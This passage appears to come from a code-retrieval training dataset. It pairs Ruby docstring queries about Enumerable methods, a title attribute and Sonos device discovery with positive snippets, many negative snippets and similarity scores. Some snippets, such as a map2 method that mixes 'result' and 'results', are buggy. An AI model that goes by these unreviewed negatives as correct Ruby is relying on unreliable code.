yield(element)}\n result\nend", "def map(arr)\n result = []\n arr.each {|element| result << yield(element)}\n result\nend", "def run_enum\n arr = (0..10).to_a\n find(arr) { |el| el > 1 }\n find(arr) { |el| el < 1 }\n # find(arr) { |el| el > 1 }\n end", "def map &block\n new_array = [] # create a new array where elements will go into\n self.each {|el| new_array << (yield el)} # for each true element in the block, shovel that element into new array\n new_array # return the new array\n end", "def map2(arr)\n result = []\n each arr do |x|\n results << yield(x)\n end\n results\nend", "def contain_a(arr)\n arr.select do |word| \n word.include?(\"a\")\n end\nend", "def include?(ary, value)\r\n ary.select{ |obj| obj == value } != []\r\nend", "def include?(arr, search)\n arr.any? { |i| i == search }\nend", "def all?(collection)\r\n collection.each { |item| return false if !yield(item) }\r\n true\r\nend", "def select(array)\n counter = 0\n return_array = []\n while counter < array.size\n return_array << array[counter] if yield(array[counter])\n counter += 1\n end\n return_array\nend", "def find_cool(collections)\n collections.find_all {|element| element if element.has_value?(\"cool\")}\nend", "def my_all?(collection)\n i = 0\n block_return_values = []\n while i < collection.length\n block_return_values.push(yield(collection[i]))\n #Three steps\n #First we add yield keyword to yield each element of the block\n #Second we, save the the return values to an array which we declare\n #before the while loop\n i = i + 1\n end\n #Third, we want the final to be true or false for each element in\n #our block_return_values as that is what all? returns\n if block_return_values.include?(false)\n false\n else\n true\n end\nend", "def one?(collection)\n count = 0\n collection.each do |el|\n count += 1 if yield(el)\n return false if count > 1\n end\n count == 1 ? true : false\nend", "def test_0275_select\n @@log.debug \"test_0275_select starts\" if @@log.debug?\n assert_respond_to(@list, :select, \"test_0275_select_respond\")\n # Basic select check\n ta = @list.select {|obj| obj.first <= \"Bob\" }\n assert_equal([@aen, @bsb], ta, \"test_0275_select_eq01\")\n # Check Enumerator or Enumerable::Enumerator return, no block given\n new_list = @list.select\nif RUBY_VERSION >= \"1.9\"\n result = new_list.is_a? Enumerator\n assert(result, \"test_0275_select_enumcheck\")\nelse\n # Note: the author's version of the 1.8 Pickaxe documents this\n # as an Array. Note however that this form is not documented by\n # that publication at all.\n # YMMV.\n result = new_list.is_a? Enumerable::Enumerator\n assert(result, \"test_0275_select_enumenumcheck\")\nend\n @@log.debug \"test_0275_select ends\" if @@log.debug?\n end", "def contain_a (array)\n\tarray.select {|element| element.include?(\"a\")}\nend", "def mappa_e_compatta(&block)\n self.map.with_index(&block).compact\n end", "def test_all_iteration_methods_work_on_any_collection_not_just_arrays\n # Ranges act like a collection\n result = (1..3).map { |item| item + 10 }\n assert_equal [11, 12, 13], result\n\n # Files act like a collection of lines. Mix-ins? Or does it just quack like\n # a collection-duck?\n File.open(\"example_file.txt\") do |file|\n upcase_lines = file.map { |line| line.strip.upcase }\n assert_equal ['THIS', 'IS', 'A', 'TEST'], upcase_lines\n end\n\n # NOTE: You can create your own collections that work with each,\n # map, select, etc.\n end", "def map(source); end", "def selected_map!(arr, proc_1, proc_2)\n arr.each.with_index do |ele, idx|\n if proc_1.call(ele)\n arr[idx] = proc_2.call(ele)\n end\n end\n nil\nend", "def my_select\n new_array = []\n each do |value|\n new_array << value if yield(value)\n end\n new_array\nend", "def map(&block)\n to_a.map(&block)\n end", "def map(&block)\n to_a.map(&block)\n end" ]
[ "0.61748475", "0.59547365", "0.5951201", "0.5865212", "0.5865212", "0.58536476", "0.58319026", "0.5823896", "0.5790847", "0.5785443", "0.57828426", "0.57708174", "0.57695097", "0.57491946", "0.57471097", "0.5736222", "0.5721745", "0.5688338", "0.56751984", "0.5668859", "0.5663676", "0.56541896", "0.5652549", "0.5644122", "0.56392413", "0.5622616", "0.5618414", "0.5574432", "0.55436385", "0.5535857", "0.55289257", "0.5523959", "0.55219954", "0.5514684", "0.5501531", "0.5486794", "0.5484607", "0.54837817", "0.54661024", "0.5465322", "0.54616034", "0.5457494", "0.5454418", "0.54450923", "0.54395014", "0.5438285", "0.5421324", "0.5417913", "0.5416039", "0.54017746", "0.540049", "0.5398666", "0.5398289", "0.539423", "0.5393639", "0.5382665", "0.53763866", "0.5375144", "0.5373956", "0.53691924", "0.5367962", "0.5363727", "0.53503346", "0.5348935", "0.53378826", "0.53285193", "0.5328428", "0.53105205", "0.53099006", "0.5309147", "0.5309147", "0.5309147", "0.5309147", "0.5309147", "0.5309147", "0.5302548", "0.5295847", "0.52917296", "0.5290043", "0.52884614", "0.52884614", "0.5277382", "0.5276153", "0.5272446", "0.5253167", "0.5251748", "0.52420497", "0.52413946", "0.52398443", "0.5238697", "0.52381325", "0.52380764", "0.523693", "0.5235968", "0.5234983", "0.5231528", "0.52239406", "0.5223447", "0.5222093", "0.5219653", "0.5219653" ]
0.0
-1
uncomment when you have `each` working and `Enumerable` included
def to_s inject([]) { |acc, node| acc << "[#{node.key}, #{node.val}]" }.join(", ") end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def each(&block); end", "def each(&block); end", "def each(&block); end", "def each(&block); end", "def each(&block); end", "def each(&block); end", "def each(*) end", "def each; end", "def each; end", "def each; end", "def each; end", "def each; end", "def each; end", "def each; end", "def each; end", "def each; end", "def each; end", "def each; end", "def each\n raise 'Not implemented'\n end", "def each_identity; end", "def each(&a_proc); end", "def each(&block)\n raise NotImplementedError\n end", "def each\n to_a.each\n end", "def each\n to_a.each\n end", "def each\n to_a.each\n end", "def each(&block)\n raise NotImplementedError\n end", "def _each(&block)\n _next.each(&block) if _next\n end", "def each(&block)\nend", "def each(&block)\n end", "def each(&block)\n\n end", "def each &block\n end", "def each\n end", "def each\n end", "def each\n end", "def each\n end", "def each\n end", "def each\n end", "def each\n for each element\n yield(element)\n end\nend", "def each(&blk); each_value(&blk) ; end", "def each # And define each on top of next\n loop {yield self.next }\n end", "def each\n end", "def each\n end", "def my_each(&prc)\n end", "def each_raw\n iterator.each { |i| yield i }\n end", "def each(&blk)\n to_a.each(&blk)\n end", "def each_set\n \n end", "def each(&block) # block into proc\n\nend", "def each(&blk)\r\n to_a.each(&blk)\r\n end", "def each(&block)\n to_a.each(&block)\n end", "def each\n yield self\n end", "def custom_each(array)\r\n i = 0 \r\n while i < array.length \r\n yield array[i]\r\n i += 1\r\n end\r\nend", "def each(&block)\n to_a.each(&block)\n end", "def each # And define each on top of next\n loop { yield self.next }\n end", "def each\n end", "def through; end", "def deep_each\n \n end", "def each\n # passes block - if any - to upstream each.\n to_a.each(&Proc.new)\n end", "def each(options={}, &block)\n end", "def each\n# And define each on top of next\nloop { yield self.next }\nend", "def each\n# And define each on top of next\nloop { yield self.next }\nend", "def each(&block)\n to_a.each(&block)\n end", "def each(&block)\n to_a.each(&block)\n end", "def each(&block)\n internal_collection.each(&block)\n end", "def test_try_each_instead_of_collect_change_array\n array = [1, 2, 3]\n array = array.each { |item| item + 10 }\n #assert_equal [11, 12, 13], array\n assert_equal [1, 2, 3], array\n end", "def each(&block)\n if use_eager_all?\n all(&block)\n else\n super\n end\n end", "def each()\n self.to_a.each { |elt| yield elt }\n end", "def custom_each(array)\n i = 0\n while i < array.length\n yield array[i]\n i += 1\n end\nend", "def each(&block)\n return enum_for :each unless block\n\n @data.each(&block)\n\n self\n end", "def each(&block)\n @collection.each(&block)\n end", "def each(&block)\n all.each(&block)\n end", "def each\n self.to_a.each do |el|\n yield(el)\n end\n end", "def custom_each(array)\n i = 0\n while i < array.length\n #yield will pass this element to the block\n yield array[i] #each and single element of array iterate\n i += 1 #to stop infinite loop\n end\nend", "def each(&block)\n @all.each(&block)\n end", "def each\n all.each do |el|\n yield el\n end\n end", "def each(node, &block); end", "def each\n @collection.each { |c| yield c }\n end", "def each(&block)\n return all.each(&block)\n end", "def each(&block)\n to_set.each(&block)\n end", "def each(&block)\n @collection.each(&block)\n end", "def iterator()\n raise NotImplementedError\n end", "def each\n all.each do |el|\n yield el\n end\n end", "def each_pair(*) end", "def each\n\n\t\t@a.each do |x|\n\t\t\tyield x\n\t\tend\n\tend", "def each_value(&block); end", "def each\n @base.each { |item| (yield item) if @filter.call(item) }\n end", "def each_with_iterator\n\n iterator = get_iterator_fast\n while (iterator.has_next?)\n yield iterator.get_next, iterator if block_given?\n end\n \n end", "def each\n # Include every to be inside enumerable:\n yield \"pizza\"\n yield \"spaghetti\"\n yield \"salad\"\n yield \"water\"\n yield \"bread\"\n end", "def each\n return enum_for(:each) unless block_given?\n results.each(&Proc.new)\n self\n end", "def iterate\n raise \"You should implement this\"\n end", "def each()\n yield izq\n yield der\n end", "def my_each\n return to_enum unless block_given?\n\n i = 0\n arr = to_a\n while i <= arr.length - 1\n yield (arr[i])\n i += 1\n end\n self\nend", "def test_each_is_a_method_on_arrays\n assert_equal true, [].methods.include?(as_name(:each))\n end", "def each\n while true do\n yield\n break if ! advance\n end\n end", "def each\n\t\t\t@elements.each\n\t\tend", "def each(&block)\n self.entries.each(&block)\n end", "def each(&block)\n\t\t\t@ordered.each(&block)\n\t\tend", "def each(&block)\n @succ.each(&block)\n end", "def each\n return enum_for(:each) unless block_given?\n\n @data.collection.each { |item| yield item }\n end", "def each\n self\n end", "def each a\n\ti = 0\n\tuntil i == a.size\n\t\tyield a[i]\n\t\ti += 1\n\tend\n\ta\nend", "def each\r\n @many = true\r\n yield(self)\r\n end" ]
[ "0.729552", "0.729552", "0.729552", "0.729552", "0.729552", "0.729552", "0.7163506", "0.7115632", "0.7115632", "0.7115632", "0.7115632", "0.7115632", "0.7115632", "0.7115632", "0.7115632", "0.7115632", "0.7115632", "0.7115632", "0.70454085", "0.70422536", "0.6950336", "0.67962986", "0.6785345", "0.6785345", "0.6785345", "0.6769122", "0.67689735", "0.6761285", "0.6760564", "0.67484224", "0.670535", "0.6691466", "0.6691466", "0.6691466", "0.6691466", "0.6691466", "0.6691466", "0.65371907", "0.65258676", "0.6522973", "0.6517588", "0.6517588", "0.65108895", "0.6491474", "0.6480453", "0.6447932", "0.64402527", "0.6432575", "0.6425434", "0.6420477", "0.64058363", "0.6389031", "0.63806725", "0.63749486", "0.6358362", "0.6350714", "0.6331007", "0.6308578", "0.629094", "0.629094", "0.6287402", "0.6287402", "0.62584895", "0.62507784", "0.62379384", "0.6236218", "0.6233514", "0.61990553", "0.61748576", "0.6174535", "0.6169708", "0.61646897", "0.61598593", "0.61364555", "0.6130905", "0.61122656", "0.6075232", "0.60705495", "0.60688484", "0.6068011", "0.60412186", "0.6033586", "0.60155994", "0.6005511", "0.60011655", "0.5992693", "0.5988352", "0.59776527", "0.59730136", "0.595645", "0.59448767", "0.59445673", "0.59279287", "0.5916175", "0.59131575", "0.5907706", "0.59056437", "0.5896799", "0.5880981", "0.58792335", "0.58730495" ]
0.0
-1
Getter and setter for virtual attribute "title"
def title @title ||= self.content.split(@@title_separator).first unless self.content.nil? end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def title_attribute\n @title\n end", "def title \n @title \n # define title method which is a getter becuase it gets a property for us \n end", "def title=(some_title)\n @title = some_title\n end", "def title=(value)\n\t\t\t@title = value\n\t\tend", "def title=(title)\n @attributes[:title] = title\n end", "def title\n if title_attribute = read_attribute(:title)\n title_attribute\n elsif self.properties && self.properties['title'].present?\n self.properties['title']\n else\n default_title\n end\n end", "def title= title\n @title = title\n end", "def title\n self.attributes[\"title\"] || DEFAULT_TITLE\n end", "def title=(value)\n @title = value\n end", "def title=(value)\n @title = value\n end", "def title=(value)\n @title = value\n end", "def title=(value)\n @title = value\n end", "def title=(value)\n @title = value\n end", "def title=(value)\n @title = value\n end", "def title=(value)\n @title = value\n end", "def get_title\n @title\n end", "def title=(value)\n super(value)\n self.set_prefix\n return self.title\n end", "def title\n attributes.fetch(:title)\n end", "def title\n attributes.fetch(:title)\n end", "def get_title\n @title\n end", "def title=(value)\n write_attribute(:title, value.capitalize)\n end", "def title=(string)\n @title ||= string\n end", "def title \n @attributes[:title]\n end", "def get_title()\n @title\n end", "def title\n return @title\n end", "def title\n return @title\n end", "def get_title()\n return @title\n end", "def title\n @title\n end", "def title\n @title\n end", "def title\n @title\n end", "def title\n @title\n end", "def title\n @title\n end", "def\n get_title()\n @title\n end", "def title=(title)\n\t super(standardize_title(title))\n\t\t\t#self[:title] = title.strip\n\tend", "def title=(title)\n Element.attr self, 'title', title\n end", "def title=(value)\n if value\n @title = value if value.is_a? String\n end\n end", "def title\n @attributes[:title]\n end", "def title\n @title\n end", "def title=(s)\n \tsuper s.titleize\n\tend", "def title=( new_title )\n unless @read_only\n @title = new_title\n end\n end", "def title\n @attributes[:title]\n end", "def title\n @attributes[:title]\n end", "def title=( new_title ) ##(main\n unless @read_only\n @title = new_title \n end \n end", "def title=( new_title )\n if not @read_only\n @title = new_title\n end\n end", "def title\n raise NotImplementedError, 'Subclasses must implement a title method.'\n end", "def title\n @title\nend", "def title\n return @title\n end", "def title=( new_title )\nif @writable\n@title = new_title\nend\nend", "def set_title(title)\n @title = title\n end", "def title\r\n @attributes['title']\r\n end", "def title\n @attributes['title']\n end", "def title(title)\n @title=title\n end", "def title_set(title)\n self.sirname.set title\n end", "def title=(new_title)\n @title = new_title\n self.cache_object.title = new_title unless self.cache_object.nil?\n end", "def title(title)\n @title = title\n end", "def title\n\t\t@title\n\tend", "def title=(new_title)\n @title= Book.titleize(new_title)\n end", "def title=(new_title = nil)\n @info[:Title] = new_title\n end", "def title(title = nil)\n @title = title if title\n @title\n end", "def title(new_title=nil)\n if new_title\n @title = new_title\n end\n Lolita::Utils.dynamic_string(@title, :default => @name && @dbi.klass.human_attribute_name(@name))\n end", "def meta_title\n read_attribute(:meta_title).blank? ? self.title : read_attribute(:meta_title)\n end", "def setTitle (title)\n @title = title.to_s\n end", "def title=(text); end", "def title=(text); end", "def title=(title)\n if title.nil?\n fail ArgumentError, 'invalid value for \"title\", title cannot be nil.'\n end\n @title = title\n end", "def title=(title)\n if title.nil?\n fail ArgumentError, 'invalid value for \"title\", title cannot be nil.'\n end\n @title = title\n end", "def title\n return @title\n end", "def title\n return @title\n end", "def title\n return @title\n end", "def title\n return @title\n end", "def title\n return @title\n end", "def title\n return @title\n end", "def title\n return @title\n end", "def title=(title)\n t = Title.new\n t.content = title\n self.dc_titles = [t]\n title\n end", "def title\n\t\t@title \n\tend", "def title\n if @data.attribute_names.include?(:title)\n @title ||= @data[:title].last\n else\n if @data.attribute_names.include?(:cmutitle)\n @title ||= @data[:cmutitle].last\n else\n @title ||= nil\n end\n end\n end", "def title=(title)\n @attributes.occi!.core!.title = title\n end", "def title\n\n @title\n\nend", "def title=(title)\n if self.kind == TITLE && !title.blank? && title.first == \"\\r\"\n write_attribute(:title, \" #{title}\")\n else\n write_attribute(:title, title)\n end\n end", "def title\n options[:title] || raise(MissingAttribute)\n end", "def title=(title=\"Untitled Document\")\n # Clean the stripped title\n self[:title] = CGI.unescape_html(self.strip title.strip)\n end", "def title\n Element.attr self, 'title'\n end", "def title=(title)\n\n if !title.nil? && title.to_s.length > 100\n fail ArgumentError, \"invalid value for 'title', the character length must be smaller than or equal to 100.\"\n end\n\n @title = title\n end", "def title=(v) \n DataTypeValidator.validate \"#{self.class}.title\", [String, Cell], v\n if v.is_a?(String)\n @title.text = v\n elsif v.is_a?(Cell)\n @title.cell = v\n end\n end", "def title=(new_title)\n write_attribute(:permalink, Permalink.from(new_title)) unless self.custom_permalink?\n write_attribute(:title, new_title)\n end", "def book_title\n self.title\n end", "def title\n name\n end", "def title\n name\n end", "def title=(new_title)\n super(new_title)\n self[:slug] = new_title.parameterize if new_title\n end", "def default_title=(string)\n @title ||= string\n end", "def setTitle(title)\r\n\t\t\t\t\t@title = title\r\n\t\t\t\tend", "def title=(title)\n\n if !title.nil? && title.to_s.length > 50\n fail ArgumentError, \"invalid value for 'title', the character length must be smaller than or equal to 50.\"\n end\n\n @title = title\n end", "def title=(title)\n\n if !title.nil? && title.to_s.length > 50\n fail ArgumentError, \"invalid value for 'title', the character length must be smaller than or equal to 50.\"\n end\n\n @title = title\n end", "def title=(v)\n DataTypeValidator.validate \"#{self.class}.title\", [String, Cell], v\n if v.is_a?(String)\n @title.text = v\n elsif v.is_a?(Cell)\n @title.cell = v\n end\n end", "def title=(title)\n @title = @template.instance_variable_set(\"@title\", title)\n end", "def title=(v)\n if @title != v\n @needs_commit = true\n @title = v\n end\n end", "def title_name; end", "def ctitle(title)\n self.title = title\n end", "def title=(title)\n if title.nil?\n fail ArgumentError, 'title cannot be nil'\n end\n\n if title.to_s.length < 1\n fail ArgumentError, 'invalid value for \"title\", the character length must be great than or equal to 1.'\n end\n\n @title = title\n end", "def set_title=(post_title)\n\t\t@title = post_title\n\tend", "def title(title=nil)\n title.nil? ? @title : @title = title\n end" ]
[ "0.8268489", "0.8197291", "0.8035383", "0.8018694", "0.80116063", "0.7973254", "0.79184425", "0.7885641", "0.78825104", "0.78825104", "0.78825104", "0.78825104", "0.78825104", "0.78825104", "0.78825104", "0.78751737", "0.7862451", "0.7851904", "0.7851904", "0.7792225", "0.7780984", "0.777734", "0.7768286", "0.7760527", "0.77280354", "0.77280354", "0.77263343", "0.7724977", "0.7724977", "0.7724977", "0.7724977", "0.7724977", "0.7710782", "0.7669258", "0.7645309", "0.7615792", "0.7612445", "0.76105905", "0.76011616", "0.75920534", "0.75864196", "0.75864196", "0.75595534", "0.7559358", "0.7531421", "0.7527864", "0.7525464", "0.7522995", "0.7509149", "0.7505106", "0.7478814", "0.7476377", "0.743176", "0.74304575", "0.74263823", "0.74186975", "0.7416874", "0.7397859", "0.73752666", "0.73659384", "0.735738", "0.735454", "0.73539686", "0.73539686", "0.73480356", "0.73480356", "0.73419255", "0.73419255", "0.73419255", "0.73419255", "0.73419255", "0.73419255", "0.73419255", "0.73330325", "0.73008543", "0.7297432", "0.72960424", "0.7294081", "0.7288718", "0.72595006", "0.723113", "0.7217589", "0.7215176", "0.72107464", "0.7202536", "0.71919036", "0.71877486", "0.71877486", "0.7158512", "0.7146757", "0.7137905", "0.7133484", "0.7133484", "0.71333975", "0.7114168", "0.71052724", "0.7104499", "0.7097093", "0.709261", "0.70799565", "0.707215" ]
0.0
-1
Getter and setter for virtual attribute "body"
def body @body ||= self.content.split(@@title_separator,2).last unless self.content.nil? end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def body=(value)\n @body = value\n end", "def body=(body)\n raise NotImplementedError, 'Subclasses must implement a body= method'\n end", "def body=(body); end", "def body=(value)\n @body = value\n end", "def body=(value)\n @body = value\n end", "def body=(value)\n @body = value\n end", "def body=(value)\n @body = value\n end", "def body=(value)\n @body = value\n end", "def set_body\n self.body = \"\" unless body\n body\n end", "def set_body\n self.body = \"\" unless body\n body\n end", "def body\n self[:body]\n end", "def body\n read_attribute(:body) || ''\n end", "def body=(newval)\n if self[:body] != newval\n # changed\n self[:body] = newval\n end\n self[:body]\n end", "def set_body\n self.body = \"\" unless self.body\n end", "def body=(new_body)\n attributes[:body] = new_body\n end", "def body\n self['body']\n end", "def body\n return @body\n end", "def body=(value)\n body_lazy(value)\n end", "def body\n @attributes[:body]\n end", "def body\n raise NotImplementedError, \"#{self.class} must implement #body!\"\n end", "def body\n @body ||= process_text(@raw_body)\n end", "def body\n @body || \"\"\n end", "def body_content\n raise NotImplementedError\n end", "def body\n self.read_body\n self.get_body\n end", "def news_body=(text)\n self.body = text\n end", "def getBody\n @body\n end", "def body(value = nil)\n if value\n self.body = value\n# add_encoding_to_body\n else\n process_body_raw if @body_raw\n @body\n end\n end", "def body\n return @body\n end", "def body\n return @body\n end", "def body\n return @body\n end", "def body\n return @body\n end", "def body(value = nil)\n if value\n @body = value\n else\n @body\n end\n end", "def set_body\n self.body = message_body\n end", "def body_content\n end", "def body=(body)\n @body = DelayedBody.new{body}\n end", "def body\n @body ||= Page.convert_raw_to_html(raw_body)\n end", "def body(value = nil)\n\t\t\tvalue ? @body = value : @body ||= ''\n\t\tend", "def raw_body\n @attributes[:raw_body]\n end", "def html_body\n self[:html_body]\n end", "def set_body\n @body = Body.find(params[:id])\n end", "def body\n if defined? @body\n @body\n else\n Null\n end\n end", "def body\n ret = read_attribute(:body)\n if ret.nil?\n return ret\n end\n ret = ret.strip\n ret = ret.gsub(/(?:\\n\\s*){2,}/, \"\\n\\n\") # remove excess linebreaks that unnecessarily space it out\n ret\n end", "def body\n Base64::decode64(self[:body])\n end", "def body\n fetch\n @body\n end", "def text\n self.body\n end", "def body=(i)\n if i.kind_of? ::String\n typecast(i)\n elsif i.kind_of? StructFu\n self[:body] = i\n elsif i.nil?\n self[:body] = StructFu::String.new.read(\"\")\n else\n raise ArgumentError, \"Can't cram a #{i.class} into a StructFu :body\"\n end\n end", "def body\n @raw\n end", "def body body=nil\n @response.body = body if body\n @response.body\n end", "def body\n @body_io.read.tap { @body_io.rewind }\n end", "def body()\n #This is a stub, used for indexing\n end", "def body\n remote[:body] || reload.remote[:body]\n end", "def body; end", "def body; end", "def body; end", "def body; end", "def body; end", "def body; end", "def body; end", "def body; end", "def body; end", "def body; end", "def body; end", "def body; end", "def body; end", "def body; end", "def body; end", "def body; end", "def body=(body)\n body = Array(body) unless body.respond_to?(:each)\n @_body = body\n end", "def body=(body)\n body = Array(body) unless body.respond_to?(:each)\n @_body = body\n end", "def text\n @body\n end", "def body\n nil\n end", "def body_attributes\n {}\n end", "def body_attributes\n {}\n end", "def body_raw\n @body_raw ||= body(true).read\n @body_raw\n end", "def body\n source\n end", "def body\n if @parsed_body\n parsed_body.to_s\n else\n @body\n end\n end", "def inspect\n \"#<#{self.class.name} @body=\\\"#{self.body}\\\">\"\n end", "def body\n part('body')\n end", "def body\n process_message_body if !@body\n @body\n end", "def body\n data[:body]\n end", "def set_body from_user\n self.body = message_body from_user\n end", "def body(rack = false)\n if rack then\n\t\t\t\t\tsuper()\n else\n ensure_encoded\n\t\t\t\t\t@body_decoded\n end\n end", "def original_body\n @original_body\n end", "def body\n description\n end", "def body\n \"\"\n end", "def body\n \"\"\n end", "def parsed_body\n @body\n end", "def body(new = nil)\n if new.nil?\n @body\n else\n with(body: body.merge(new))\n end\n end", "def article_body\n respond_to?(:body) ? body : ''\n end", "def body\n @body ||= reader_doc.content(true).strip\n end", "def news_body\n body\n end", "def domtype\n :body\n end", "def body\n @body ||= begin\n begin\n io = Java.java_to_ruby(\n org.jruby.RubyIO.new(JRuby.runtime, entity.content).java_object\n )\n io.read\n rescue Exception => e\n puts \"Error in Response#body: #{e.message}\"\n end\n end\n end", "def unique_body=(value)\n @unique_body = value\n end", "def body\n @binding&.body || \"\"\n end", "def body\n ''\n end", "def html_body\n @html_body ||= reader_doc.content.strip\n end", "def body_url\n @attributes[:body_url]\n end", "def body\n @body ||= @request.body.read\n end", "def body_set(body)\n return dup_without_response.body_set(body) if response\n\n @body = body ? body.to_s : nil\n establish_content_length\n end", "def clone_body; end" ]
[ "0.8161714", "0.81439316", "0.8064064", "0.7980845", "0.7980845", "0.7980845", "0.7980845", "0.7947753", "0.78952575", "0.78952575", "0.77250093", "0.7714708", "0.76984656", "0.76638705", "0.7612632", "0.7525027", "0.75182956", "0.75024235", "0.7443297", "0.7435918", "0.73539215", "0.73219913", "0.726671", "0.72633237", "0.7247002", "0.7228831", "0.7224839", "0.71855307", "0.71855307", "0.71855307", "0.71855307", "0.7127808", "0.70861536", "0.7085235", "0.7082311", "0.7051833", "0.70420384", "0.7026731", "0.7026152", "0.69095594", "0.6859055", "0.684604", "0.6843089", "0.68127596", "0.6803683", "0.68031234", "0.679794", "0.67560226", "0.672161", "0.6705531", "0.6701368", "0.6692091", "0.6692091", "0.6692091", "0.6692091", "0.6692091", "0.6692091", "0.6692091", "0.6692091", "0.6692091", "0.6692091", "0.6692091", "0.6692091", "0.6692091", "0.6692091", "0.6692091", "0.6692091", "0.6673748", "0.6673748", "0.6668904", "0.6655813", "0.66493154", "0.66493154", "0.66410154", "0.66295093", "0.6622589", "0.6618655", "0.66056174", "0.65983963", "0.65919966", "0.659011", "0.6580755", "0.65806687", "0.6579416", "0.6564534", "0.6564534", "0.6564302", "0.6548775", "0.65443045", "0.6510059", "0.6503786", "0.6503448", "0.64848304", "0.64792025", "0.64452", "0.6434597", "0.64157605", "0.639116", "0.6382812", "0.63786936", "0.6371741" ]
0.0
-1
Look for Sonos devices on the network and return the first IP address found
def discover result = SSDP::Consumer.new.search(service: 'urn:schemas-upnp-org:device:ZonePlayer:1', first_only: true, timeout: @timeout, filter: lambda {|r| r[:params]["ST"].match(/ZonePlayer/) }) @first_device_ip = result[:address] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_ip_address\n items = `ifconfig | grep \"inet addr\"`.split\n addresses = []\n items.each do |item|\n addresses << item if item =~ /addr:/\n end\n ip = \"\"\n addresses.each do |address|\n ip = address.split(':')[1]\n if ip != '127.0.0.1'\n break\n end\n end\n ip\nend", "def find\n addrs = Socket.ip_address_list.select do |addr|\n addr.ipv4? and not(addr.ipv4_loopback?) and not(addr.ipv4_multicast?)\n end\n if not(addrs.empty?)\n privates = addrs.select{|addr| addr.ipv4_private?}\n not_privates = addrs - privates\n privates = privates.sort{|a,b| a.ip_address <=> b.ip_address}\n not_privates = not_privates.sort{|a, b| a.ip_address <=> b.ip_address}\n (privates + not_privates).map {|addr| addr.ip_address}\n else\n Socket.ip_address_list.select{|addr| addr.ipv4_loopback?}.map{|addr| addr.ip_address}\n end\n end", "def get_ip(node)\n return node['network_adapters'].select { |n|\n n['mounted'] && n['device'] =~ /eth/\n }[0]['ip']\nend", "def get_ip(node)\n node['network_adapters'].each { |device, network_adapter|\n if network_adapter['mounted'] && /^eth[0-9]$/.match(device)\n return network_adapter['ip']\n end\n }\nend", "def get_ip_address\n IO.popen(\"ifconfig\") do |io|\n while line = io.gets\n return $1 if (line =~ /inet addr:([\\d\\.]+)/ and $1 != '127.0.0.1')\n end\n end\n return nil\nend", "def fetch_primary_ip_address\n capture(<<-GETADDR, :shell => \"bash\").chomp\n _if=\"$(netstat -nr | grep ^0\\.0\\.0\\.0 | awk '{print $8}')\";\n _ip=\"$(/sbin/ifconfig $_if | \\\n grep '^[[:space:]]*inet ' | awk '{print $2}' | \\\n awk -F':' '{print $2}')\";\n\n if [ -z \"$_ip\" -o \"$_ip\" == \"\" ] ; then\n echo \"\";\n return 10;\n else\n echo $_ip;\n fi\n GETADDR\nend", "def find_node_ip_in_network(network, nodeish = nil) # rubocop:disable MethodLength\n nodeish = node unless nodeish\n net = IPAddr.new(network)\n nodeish['network']['interfaces'].each do |iface, addrs|\n addrs['addresses'].each do |ip, params|\n if params['family'].eql?('inet6') && net.include?(ip)\n return \"[#{ip}]:6789\"\n elsif params['family'].eql?('inet') && net.include?(ip)\n return \"#{ip}:6789\"\n end\n end\n end\n nil\nend", "def get_router_ipaddr()\n SNMP::Manager.open(\n :Host => RouterIP,\n :Community => SNMPpw,\n :Timeout => 60,\n :Retries => 5\n ) do |manager|\n # XXX Timeout on the next line (or the one below) will kick us out.\n response = manager.get([\"ip.21.1.7.0.0.0.0\"])\n response.each_varbind do |vb|\n default_route = \"#{vb.value.to_s}\"\n # puts \"ip.21.1.7.#{default_route}\"\n response = manager.get([\"ip.21.1.7.#{default_route}\"])\n response.each_varbind do |vb|\n my_ipaddr = \"#{vb.value.to_s}\"\n # puts my_ipaddr\n return my_ipaddr\n end\n end\n end\nend", "def listen_addresses\n node['network']['interfaces'].map do |iface, data| \n data[\"addresses\"].select { |addr, data| data[\"family\"] == \"inet\" }.keys[0]\n end\nend", "def local_ips\n list = cmd(\"addr show dev #{name} primary\", sudo: false, errors: true) +\n cmd(\"addr show dev #{name} secondary\", sudo: false, errors: true)\n list.lines.grep(/inet ([0-9\\.]+)\\/.* #{name}/i){ $1 }\n rescue\n raise Errors::UnknownInterface, \"Interface #{name} not found on this machine\" unless exists?\n raise\n end", "def read_host_ip(machine,env)\n nets = env[:libvirt_compute].list_networks\n if nets.size == 1\n net = nets.first\n else\n domain = env[:libvirt_compute].servers.get(machine.id.to_s)\n xml=Nokogiri::XML(domain.to_xml)\n networkname = xml.xpath('/domain/devices/interface/source').first.attributes['network'].value.to_s\n puts \"network name = #{networkname}\"\n net = env[:libvirt_compute].list_networks.find {|netw| netw[:name] == networkname}\n end\n # FIXME better implement by libvirt xml parsing\n `ip addr show | grep -A 2 #{net[:bridge_name]} | grep -i 'inet ' | tr -s ' ' | cut -d' ' -f3 | cut -d'/' -f 1`.chomp\n end", "def detect_reachable_ip\n if RUBY_VERSION >= \"1.9.2\"\n require 'socket'\n possible_ips = Socket.ip_address_list.reject { |ip| !ip.ipv4? || ip.ipv4_loopback? }\n return possible_ips.first.ip_address unless possible_ips.empty?\n end\n if detect_os[:platform] == \"windows\"\n output = `ipconfig`\n ip_regex = /IP(?:v4)?.*?([0-9]+(?:\\.[0-9]+){3})/i\n gateway_regex = /Gateway[^0-9]*([0-9]+(?:\\.[0-9]+){3})?/i\n ip_matches = output.split(/\\n/).select { |s| s =~ ip_regex }\n gateway_matches = output.split(/\\n/).select { |s| s =~ gateway_regex }\n possible_ips = ip_matches.zip(gateway_matches)\n possible_ips.map! do |ip,gateway|\n [ip.match(ip_regex)[1], gateway.match(gateway_regex)[1]]\n end\n possible_ips.reject! { |ip,gateway| ip == \"127.0.0.1\" || gateway.nil? }\n return possible_ips[0][0]\n elsif ENV['SSH_CONNECTION']\n return ENV['SSH_CONNECTION'].split(/\\s+/)[-2]\n else\n if Pathname.which(\"ifconfig\")\n ip_output = `ifconfig -a 2> /dev/null`.chomp\n elsif File.executable?(\"/sbin/ifconfig\")\n ip_output = `/sbin/ifconfig -a 2> /dev/null`.chomp\n else\n ip_output = `ip addr 2> /dev/null`.chomp\n end\n possible_ips = ip_output.scan(/inet (?:addr:)?([0-9\\.]+)/).flatten\n 